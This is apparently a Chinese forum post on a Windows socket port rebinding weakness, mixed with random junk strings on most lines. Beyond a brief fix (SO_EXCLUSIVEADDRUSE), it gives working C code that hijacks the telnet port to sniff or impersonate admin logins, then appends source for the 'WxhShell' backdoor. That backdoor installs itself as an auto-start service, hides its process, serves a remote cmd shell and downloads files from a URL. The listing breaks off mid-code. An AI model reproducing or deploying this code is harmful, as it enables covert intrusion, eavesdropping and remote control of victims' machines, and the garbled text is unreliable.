在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xO{$6M3-~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
.z, ot| IwVdx^9 saddr.sin_family = AF_INET;
H(gETRh ae>B0#= saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`LOW)|6r` sXwa`_{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I&9Itn p$ '\% Kd+k 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
E}g)q;0v|2 @q"HZO[ 这意味着什么?意味着可以进行如下的攻击:
y#{v\h
Cz _KJ!C! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`kYcTFk s3[\&zt 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
se@?:n1) |"
ag'h 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
U[{vA6 V [Wo9Y\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
a7}O.NDf ;-^8lWt 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~7>D>!! X#k:J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
g`(3r ~X<?&;6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
FWW*f
_L d]K$0HY #include
`t#9
yN #include
9UCA&n #include
/8wfI_P>M" #include
uQYenCNXS DWORD WINAPI ClientThread(LPVOID lpParam);
K/0Wp % int main()
L./{^) {
ML.|\:r* WORD wVersionRequested;
]P>c{ DWORD ret;
0{(5J,/BF WSADATA wsaData;
qH(HcsgD BOOL val;
dC>(UDC SOCKADDR_IN saddr;
@xeJ$
rlu SOCKADDR_IN scaddr;
tz9"#=}0 int err;
J^-a@'`+ SOCKET s;
DJb9] ,=a SOCKET sc;
'Pe;Tp>` int caddsize;
5><T#0W? HANDLE mt;
:3[;9xCHj DWORD tid;
xri(j,mU wVersionRequested = MAKEWORD( 2, 2 );
k\X yR4r err = WSAStartup( wVersionRequested, &wsaData );
8RT<?I^5 if ( err != 0 ) {
6x;!E&< printf("error!WSAStartup failed!\n");
[P`<y#J3F return -1;
U%n>(!d }
>U)>~SQf saddr.sin_family = AF_INET;
@RHG@{x{K ~3)d?{5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`R*SHy!
_ "fC>]iA8I saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
i`5Skr:M saddr.sin_port = htons(23);
&Qmb?{S0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tYp 185 {
u\(>a printf("error!socket failed!\n");
Gkm{b[ return -1;
W~FU!C?] }
+~"(Wooi val = TRUE;
T037|k a{ //SO_REUSEADDR选项就是可以实现端口重绑定的
Q^8/"aV\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8@/MrEOW# {
tL M@o|: printf("error!setsockopt failed!\n");
gwbV$[.X return -1;
B'I_i$g4w }
(duR1Dz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[Z^26/5a //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
?)H:.]7-x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
-<:w{cV 85USMPF if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
*D67&/g. {
.hJcK/m ret=GetLastError();
urg^>n4V] printf("error!bind failed!\n");
(Q=:ln;kM return -1;
aeDhC#h }
.{-X1tJ7 listen(s,2);
WmkCV+thA while(1)
J:@yG1VIp {
kGAB' caddsize = sizeof(scaddr);
mqbCa6>_S //接受连接请求
b&6lu4D sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
R$`%<Y3) if(sc!=INVALID_SOCKET)
xDNXI01o {
@hwNM#>` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
M+I9k;N6& if(mt==NULL)
~~@dbB {
_WZ{ i, printf("Thread Creat Failed!\n");
o]WcODJdl break;
y>cLG5v }
h.wffk, }
'e_e*.z3 CloseHandle(mt);
g_JQW(_ }
gvr&7=p closesocket(s);
xo4lM WSACleanup();
v\E6N2.S return 0;
i-9W8A }
fmD~f DWORD WINAPI ClientThread(LPVOID lpParam)
+BDW1% {
$)$_}^.k SOCKET ss = (SOCKET)lpParam;
I+(
b!(H SOCKET sc;
P)Rq\1: unsigned char buf[4096];
Q.fUpa v SOCKADDR_IN saddr;
S$gLL kD1 long num;
=!)x`1j!S DWORD val;
P/xEn_*v DWORD ret;
BF 0#G2`h> //如果是隐藏端口应用的话,可以在此处加一些判断
(b.4&P"0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
UCj:]!P saddr.sin_family = AF_INET;
putRc??o; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ui-]%~ saddr.sin_port = htons(23);
x.$cP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
SYh>FF" {
@urZ printf("error!socket failed!\n");
]$#9B-uB return -1;
SAdo9m' }
^"~r/@l val = 100;
t|s(V-Wq if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9{e/ V) {
1M b[S{ ret = GetLastError();
ObJ-XNcNH return -1;
XMz*}B6GQ }
?XeaoD/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B@S~v+Gr {
|bhv7(_ ret = GetLastError();
<Mu T7x- return -1;
xel|,|*Yq }
!p76I=H% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ex^9 l b {
~0[(-4MA printf("error!socket connect failed!\n");
N|%r5% closesocket(sc);
=k,?+h~ closesocket(ss);
:iGK9I return -1;
,N;2"$+E }
dkY JO! while(1)
=M}tet
} {
It<VjN9
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
bxzx@sF2l //如果是嗅探内容的话,可以再此处进行内容分析和记录
e"*1l>g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
$:# :"
num = recv(ss,buf,4096,0);
w~:F? if(num>0)
9_4(}|"N| send(sc,buf,num,0);
cucmn*o? else if(num==0)
U#bmMH break;
sAPQbTSM num = recv(sc,buf,4096,0);
RNQq"c\ if(num>0)
:I2, send(ss,buf,num,0);
F=a else if(num==0)
O jNOvh&N break;
~d3@x\I? }
Z"qJil} closesocket(ss);
^Bo'87!. closesocket(sc);
on"ENT return 0 ;
C<(qk _ }
KJv%t_4'F !@wUARQ cK2;)&U7 ==========================================================
Ux{0)"fj :>Bk^" 下边附上一个代码,,WXhSHELL
bBV03_* .z=%3p8+ ==========================================================
u c}tTmB| ~H:=p #include "stdafx.h"
U&=pKbTe 8aC=k@YE #include <stdio.h>
_n!>*A! #include <string.h>
mIp> ~ #include <windows.h>
~:PM_o*6 #include <winsock2.h>
IOF!Ra:w #include <winsvc.h>
A:D9qp #include <urlmon.h>
w\UAKN60 =,C]d~ #pragma comment (lib, "Ws2_32.lib")
` AD}6O+x #pragma comment (lib, "urlmon.lib")
edCVIY'1 %IE;'aa
} #define MAX_USER 100 // 最大客户端连接数
jKo9y #define BUF_SOCK 200 // sock buffer
; yE.R[I #define KEY_BUFF 255 // 输入 buffer
H "5,To o3eaNYa #define REBOOT 0 // 重启
b|@zjh;]A7 #define SHUTDOWN 1 // 关机
ZHUW1:qs k}I65 ^l# #define DEF_PORT 5000 // 监听端口
nP<u.{q
L <L11s%5- #define REG_LEN 16 // 注册表键长度
~7PiIky. #define SVC_LEN 80 // NT服务名长度
}Y|M+0 <RpTk*Yo^= // 从dll定义API
M X?UmQ' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M2R krW# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
s;E(51V<> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
W}"tf
L8
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Nd_A8H,&B eM5-v- // wxhshell配置信息
n%G[Y^^, struct WSCFG {
_Pa@%/ int ws_port; // 监听端口
\jV2":[%c char ws_passstr[REG_LEN]; // 口令
k.2GIc:5 int ws_autoins; // 安装标记, 1=yes 0=no
9;uH}j8sE char ws_regname[REG_LEN]; // 注册表键名
u8<[Q]5 char ws_svcname[REG_LEN]; // 服务名
8~yP?#p char ws_svcdisp[SVC_LEN]; // 服务显示名
UjLq[,_! char ws_svcdesc[SVC_LEN]; // 服务描述信息
08{^Ksg char ws_passmsg[SVC_LEN]; // 密码输入提示信息
UZmUYSu; int ws_downexe; // 下载执行标记, 1=yes 0=no
C[hNngb7R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:VWN/m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
cH$(*k9%M dtTfV.y4w };
7cWeB5e?O [i.c;'Wy/ // default Wxhshell configuration
e=p_qhBt struct WSCFG wscfg={DEF_PORT,
6rWq
hIaI "xuhuanlingzhe",
R,["w98a 1,
)V+/@ 4 "Wxhshell",
oM^vJ3 "Wxhshell",
Q4*{+$A "WxhShell Service",
- US>]. "Wrsky Windows CmdShell Service",
a&2x;diF "Please Input Your Password: ",
_(~LXk^C 1,
Y2tBFeWY "
http://www.wrsky.com/wxhshell.exe",
!4gHv4v; "Wxhshell.exe"
n[r1h=?j3 };
.fhfb\$ QVkji7)ZT // 消息定义模块
b<#zgf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
SK&1l`3 char *msg_ws_prompt="\n\r? for help\n\r#>";
F(Zf=$cx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
iPY)Ew`Im char *msg_ws_ext="\n\rExit.";
KHx;r@{< char *msg_ws_end="\n\rQuit.";
O"kb*// char *msg_ws_boot="\n\rReboot...";
:is2 &-|x char *msg_ws_poff="\n\rShutdown...";
|uz\XK char *msg_ws_down="\n\rSave to ";
nUVk;0at w-$iKtb. char *msg_ws_err="\n\rErr!";
N!ay#V char *msg_ws_ok="\n\rOK!";
,UC|[-J _Gt;= char ExeFile[MAX_PATH];
6R8>w, int nUser = 0;
:;hX$Qz HANDLE handles[MAX_USER];
!>ZBb\EyK int OsIsNt;
fx4#R(N ]q4LNo SERVICE_STATUS serviceStatus;
ZREy I(_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
{Y=k`t, b{)kup // 函数声明
qmGHuQVe int Install(void);
AS:k&t int Uninstall(void);
. XbDb int DownloadFile(char *sURL, SOCKET wsh);
8.^`~ta int Boot(int flag);
i92Z`jiR void HideProc(void);
]B8iQr-! int GetOsVer(void);
8''1H<f int Wxhshell(SOCKET wsl);
$I/ !vV void TalkWithClient(void *cs);
4 #KC\C int CmdShell(SOCKET sock);
c yP+a int StartFromService(void);
.HGK 3 int StartWxhshell(LPSTR lpCmdLine);
t5S|0/f J}4RJ9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VPuo!H VOID WINAPI NTServiceHandler( DWORD fdwControl );
p\#;(pf}s 'rFLG+W // 数据结构和表定义
]TUoXU2<x SERVICE_TABLE_ENTRY DispatchTable[] =
/X0<2&v {
lx0BKD?n {wscfg.ws_svcname, NTServiceMain},
L0H^S)g {NULL, NULL}
:SO4@JT{W };
-:Fr($^ i$}G[v<4 // 自我安装
)+hJi/g int Install(void)
_8-1wx {
-kP2Brm char svExeFile[MAX_PATH];
9-&@Y HKEY key;
TNeL%s?B3 strcpy(svExeFile,ExeFile);
{|j-e{* $AvaOI.l // 如果是win9x系统,修改注册表设为自启动
p`Tl)[* if(!OsIsNt) {
6Fk[wH7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
BT;1"l< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'43U v RegCloseKey(key);
U8HuqFC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g2}aEfp!H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v;g,qO!LJ RegCloseKey(key);
qzHsqlof return 0;
RtxAIMzh? }
]SL+ZT }
/:BC<]s }
Uvi@HB HJ else {
)' ,dP)b -`Zk`s|! // 如果是NT以上系统,安装为系统服务
=%>E8)Jb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<&B]p if (schSCManager!=0)
Rf>V]R {
rTJU)4I^h SC_HANDLE schService = CreateService
`'mRGz7t (
v$q\3#5|' schSCManager,
^ yF
Wvfh4 wscfg.ws_svcname,
:x3DuQP wscfg.ws_svcdisp,
tpeMq- SERVICE_ALL_ACCESS,
{- MhhRa5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
wa&:86~l? SERVICE_AUTO_START,
-cZuP7oA
SERVICE_ERROR_NORMAL,
z5<&}Vh;P svExeFile,
(5y*Btd= NULL,
A] o3MoSt NULL,
FcOrA3tt NULL,
#L*MMC" NULL,
[5M! ' NULL
cZrJW
);
4IM_6
if (schService!=0)
eUgKwu; {
%\B?X;( CloseServiceHandle(schService);
6OQ\f,h@ CloseServiceHandle(schSCManager);
(f#{<^ gd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)^)|b5, strcat(svExeFile,wscfg.ws_svcname);
-A:'D8o#f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Kl(u~/=6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7-9HCP RegCloseKey(key);
(\%+id|/q@ return 0;
5$$]ZMof }
A9[D.W9> }
qe0ZM-C_ CloseServiceHandle(schSCManager);
'=(yh{W }
b+CvA(* }
gKPqU @$* :
9zEne4 return 1;
k9\n='OI }
M[R' 1JI7P?\B // 自我卸载
$"=0{H.? int Uninstall(void)
w%6 L" {
dGR #l) HKEY key;
IY(;:#l SQuW`EHBgs if(!OsIsNt) {
IUh)g1u41O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
n.P $E RegDeleteValue(key,wscfg.ws_regname);
Ye>+ RegCloseKey(key);
3}.OSt'= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y[ ;Z7p RegDeleteValue(key,wscfg.ws_regname);
X%B2xQM5 RegCloseKey(key);
=A"z.KfV return 0;
3);Wgh6 }
3[m~6Ys }
4'`*Sce} }
oT}Sh4Wt. else {
cavzXz G)9`Qn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
T=pKen/ if (schSCManager!=0)
O0mQHpi: {
AAc2u^spx SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
"+4r4 if (schService!=0)
&v+Hl^ {
cn_ *,\} if(DeleteService(schService)!=0) {
oR<;Tr~{q CloseServiceHandle(schService);
-$D#u CloseServiceHandle(schSCManager);
7{f{SIB return 0;
6~8dMy;w }
k~$}&O CloseServiceHandle(schService);
}iB>3|\ }
Z2k5qs7g CloseServiceHandle(schSCManager);
twPD'X!r }
TiI3<.a! }
l-[5Zl;" @#5?tk0 return 1;
-kzg(+sm }
3HX-lg`0 hXn@vK6 // 从指定url下载文件
S'AS,'EnY int DownloadFile(char *sURL, SOCKET wsh)
Vjr}"K$Y {
:HN\A4=kc( HRESULT hr;
@'?7au '' char seps[]= "/";
ery{>|k char *token;
28xLaob char *file;
~NO'8Mr char myURL[MAX_PATH];
%TQ5#{Y char myFILE[MAX_PATH];
{=E,.%8 !f8]gT zN strcpy(myURL,sURL);
0 9*?'^s4 token=strtok(myURL,seps);
TJ(vq] |& while(token!=NULL)
Hb9r.;r<EW {
'jU ;.vZex file=token;
rJcZ a# token=strtok(NULL,seps);
Q .cL1uHc }
iA+zZVwO \MmKz^tO GetCurrentDirectory(MAX_PATH,myFILE);
p!cNn7{; strcat(myFILE, "\\");
st(Y{Gs strcat(myFILE, file);
'Z^KpW send(wsh,myFILE,strlen(myFILE),0);
D??
\H\ send(wsh,"...",3,0);
CK} _xq2b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
aw'o=/a8 if(hr==S_OK)
aaesgF return 0;
C6}`qD else
T:EUI] return 1;
yvKKE 1|#j/ }
fmk(} uB3Yl=P // 系统电源模块
|K$EULzz int Boot(int flag)
] Y6y ]u {
'xc=N HANDLE hToken;
o7s<G8;? TOKEN_PRIVILEGES tkp;
UL\gcZ
Zkl Vb8{OD3PK if(OsIsNt) {
QU^?a~r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
w<=-n;2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
se]QEd7]7 tkp.PrivilegeCount = 1;
ln=:E$jX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
YU%U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
KH76Vts if(flag==REBOOT) {
WEugm603 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
,[ M^rv return 0;
U~[ tp1Z) }
/hbdQm else {
Ng<oz*>U if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
H}&4#CQ'! return 0;
TY*q[AWG }
&+F}$8, }
\"hP*DJ" else {
1jQlwT(: if(flag==REBOOT) {
eWAgYe2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
BZWGXzOFh return 0;
:jioF{, }
AoN|&o else {
1c03<(FCd if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
O2>W#7 return 0;
Lk]/{t0 }
0@PI=JZ% }
5QJFNE BpZ17"\z return 1;
@k,}>Tk }
A**PGy.Ni )1S"D~j- // win9x进程隐藏模块
\{M/Do: void HideProc(void)
%W]"JwRu {
[+Y;w`;Fq SB2Ij', HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
e`D? x1- if ( hKernel != NULL )
/2e,,)4g {
dW>$C_`? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;tu2}1#r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?>o|H-R~5Z FreeLibrary(hKernel);
+c_8~C }
[}bPkD / :@X< return;
Luu.p< }
#sp8 !8|y 2XGbqZj // 获取操作系统版本
$ACD6u6 int GetOsVer(void)
0}y-DCuQ {
|F^h>^
x OSVERSIONINFO winfo;
%oEvp{I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
x$\w^h\F GetVersionEx(&winfo);
h|t\rV^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
-z$&lP] return 1;
xK C{P{: else
@Tg +Kt return 0;
eMV@er| }
ck4g=QpD{ tM;S
)S(= // 客户端句柄模块
P _3U4J int Wxhshell(SOCKET wsl)
G`r*)pdm {
QHuh=7u) SOCKET wsh;
)!(etB=`y struct sockaddr_in client;
JqmKD4p DWORD myID;
/Jc i1o
9
]W4o" while(nUser<MAX_USER)
bB|P`lL {
"sU ~| int nSize=sizeof(client);
[O"8Tzr wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`OmYz{*r if(wsh==INVALID_SOCKET) return 1;
z("Fy 0al8%z9e@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
GcYT<pwN6 if(handles[nUser]==0)
:Y ;\1J<b1 closesocket(wsh);
xg2
& else
M,b^W:('4 nUser++;
,HM~Zs }
[r5k8TB1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
tug\X *X4$'LSx1 return 0;
|]9Z#lv+I }
YKsc[~
h &,B91H*# // 关闭 socket
Vz,2_QJ void CloseIt(SOCKET wsh)
hu+% X.F4 {
N>}2&'I closesocket(wsh);
;Jrk#7 nUser--;
+w
pe<T ExitThread(0);
dECH/vJ^ }
HGjGV]N5 :'LG%E:b // 客户端请求句柄
=wy 3h0k^ void TalkWithClient(void *cs)
^."HD( {
c_r&)8 `e!hT@Xxa SOCKET wsh=(SOCKET)cs;
2dF:;k k char pwd[SVC_LEN];
N%.DjH char cmd[KEY_BUFF];
5{&<X.jv char chr[1];
TGJ\f int i,j;
zUhJr$N$ WrGz` while (nUser < MAX_USER) {
f{Dc R" MYb^ILz H3 if(wscfg.ws_passstr) {
aab?hR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
HKdR?HM1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!bHM:!6^ //ZeroMemory(pwd,KEY_BUFF);
a~-^$Fzgy i=0;
S3k>34_%9 while(i<SVC_LEN) {
E |A,NPf%I T?Dq2UW // 设置超时
CF`fn6 fd_set FdRead;
>xt*( j&} struct timeval TimeOut;
MXxE)"G*a FD_ZERO(&FdRead);
P00pSRQHD FD_SET(wsh,&FdRead);
K{&b "Ba1 TimeOut.tv_sec=8;
Xkv+"F=- TimeOut.tv_usec=0;
Qb|.;_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
CXsi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&Tf R]. S}hg*mWn{$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
69v[*InSd pwd
=chr[0]; ]cv|A^
if(chr[0]==0xd || chr[0]==0xa) { 0+\~^
pwd=0; ?Ze3t5Ll
break; ",ic"
~
} 2.K"+%
i++; {mp;^/O`er
} \JLiA>@@
q$Ol"K@
// 如果是非法用户,关闭 socket (pjmE7`"P
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); afZPju"-
} IrRn@15,
)^&)f!f
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LQMVC^G
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W`PK9juu
W&>+~A
while(1) { pP'-}%
eXU;UO^
ZeroMemory(cmd,KEY_BUFF); DT=!
YJ5;a\QxN
// 自动支持客户端 telnet标准 a`w)awb
j=0; Kup-O
u,
while(j<KEY_BUFF) { >Q~"/-bN)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L?^C\g6u]
cmd[j]=chr[0]; +M\*C#
if(chr[0]==0xa || chr[0]==0xd) { ] 05Q4
cmd[j]=0; 1?(mE7H#
break; tc{23Rf%
} b'N"?W^YQ
j++; aNW&ib
} P-~Avb
*TuoC5
// 下载文件 azB~>#H~
if(strstr(cmd,"http://")) { n^/,>7J
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]T+.kC
M
if(DownloadFile(cmd,wsh)) >NE]TZ.F
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
YV 9*B
else qR_"aQ7s2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UY**3MK
} ZUyM:$
else { zYOPE 6E
n20H{TA
switch(cmd[0]) { jkNZv. )p
WII_s|YSt%
// 帮助 0 EXAdRR
case '?': { mId{f
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lb1(1|#
break; \Mlj
7.u]
} q_f
v1U3
// 安装 tazBZ'\c
case 'i': { yh5KN_W
if(Install()) Y@.> eS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zck)D^,aO
else d1j v>tu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %!rsu-W:Y
break; Pr<?E[
} :B- ,*@EU
// 卸载 $)@zlnU
case 'r': { HIhoYSwB
if(Uninstall()) bi^LpyEn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PJAir8
else ]-.Q9cjc$q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %
wRJ"T`Tt
break; @V :b Co
} of& vQ
// 显示 wxhshell 所在路径 nTu"
case 'p': { dm$:xE":
char svExeFile[MAX_PATH]; kd\G>
strcpy(svExeFile,"\n\r"); .yWdlq##
strcat(svExeFile,ExeFile); V43JY_:
send(wsh,svExeFile,strlen(svExeFile),0); I)B2Z(<Q
break; ~[9 ]M)=O0
} dy`~%lX?
// 重启 1xtbhk]D
case 'b': { Vxgc|E^J
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^U_jeAuk8[
if(Boot(REBOOT)) 6ldDt?iSg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fQx 4/4j
else { R4qk/@]t
closesocket(wsh); DTIy/
ExitThread(0); m dC. FO-
} t%dPj8~
break; G#%
=R`k/
} 56':U29.]
// 关机 Nq~bO_-I
case 'd': { ZRxB" a'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i&LbSxUh9
if(Boot(SHUTDOWN)) r?V|9B`$p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mU&J,C
else { +vbNZqwz
closesocket(wsh); 4t8 Hy
ExitThread(0); Vfw $>og!
} jY?%LY@5I
break; E_y h9lk
} &FanD
// 获取shell ?y04g u6p
case 's': { lMO0d_:b1
CmdShell(wsh); Q'=!1^&
closesocket(wsh); aVtwpkgZ
ExitThread(0); 4*dT|NU
break; (8ymQ!aY
} |n&6z
// 退出 -0\$JAyrx
case 'x': { h'jnc.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yWK[@;S]%
CloseIt(wsh); IaF79}^
break; d~_OWCg`
} L |H{;r'
// 离开 z`_N|iEd
case 'q': { da<1,hF
send(wsh,msg_ws_end,strlen(msg_ws_end),0); FP\[7?ZLn
closesocket(wsh); ?QMs<
WSACleanup(); A=3U4L
exit(1); @LmUCP~
break; >ab=LDoM
}
:D/R
} #e0+;kBh
} <St`"H
(HJ60Hj
// 提示信息 Yp;x
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "{:*fI;!
} _6[NYv$"
} ~gAx
}z*p2)v`
return; R`<E3J\*
} [lJ[kr*7
z DK+8
// shell模块句柄 bIhL!Ty T.
int CmdShell(SOCKET sock) +*!!
{ FPMW"~v
STARTUPINFO si; fGfv{4R
ZeroMemory(&si,sizeof(si)); ~>EVI=?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Av[jFk
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C^~iz
in
PROCESS_INFORMATION ProcessInfo; BxG;vS3>*e
char cmdline[]="cmd"; `<Ftn
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K4tX4U[Z
return 0; D *tBbV
} 5u!cA4e"
doa$
;=wg
// 自身启动模式 SW=p5@Hy{
int StartFromService(void) z(=:J_N
{ <*\J 6:^n
typedef struct LSs={RD2+p
{ Owr`ip\
DWORD ExitStatus; =os j}(
DWORD PebBaseAddress; {J]|mxo
DWORD AffinityMask; ,s)H%
DWORD BasePriority; ~E\CAZ
ULONG UniqueProcessId; ^q6~xC,/
ULONG InheritedFromUniqueProcessId; $OO[C={v[
} PROCESS_BASIC_INFORMATION; +1y#=iM{
{xr]xcM'b
